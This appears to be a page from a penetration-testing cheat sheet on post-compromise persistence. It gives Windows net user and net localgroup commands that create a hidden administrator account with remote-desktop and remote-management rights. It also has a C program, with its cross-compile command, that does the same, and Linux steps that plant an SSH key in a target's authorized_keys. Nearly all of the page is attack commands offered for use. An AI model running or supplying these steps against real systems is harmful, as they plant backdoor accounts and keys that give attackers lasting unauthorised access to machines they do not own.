# Persistence

## Windows 

### New User

{% code overflow="wrap" %}

```powershell
net user testuser Password123! /add [/domain]
net localgroup "Administrators" testuser /add
net localgroup "Remote Desktop Users" testuser /add
net localgroup "Remote Management Users" testuser /add
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
net user testuser Password123! /add
Add-LocalGroupMember -Group "Administrators","Remote Desktop Users","Remote Management Users" -Member "testuser"
```

{% endcode %}

exe

{% code title="adduser.exe" overflow="wrap" %}

```c
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user testuser Password123! /add");
  i = system ("net localgroup Administrators testuser /add");
  i = system ("net localgroup \"Remote Desktop Users\" testuser /add");
  i = system ("net localgroup \"Remote Management Users\" testuser /add");
  
  return 0;
}
```

{% endcode %}

```bash
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

## Linux

### SSH Key

{% code overflow="wrap" %}

```bash
ssh-keygen
# Move the public key  in ~/.ssh/authorized_keys target machine.
```

{% endcode %}

{% code overflow="wrap" %}

```bash
ssh-keygen -f ~/.ssh/id_rsa -N ""
ssh-copy-id -i ~/.ssh/id_rsa.pub <USER>@<IP>
```

{% endcode %}


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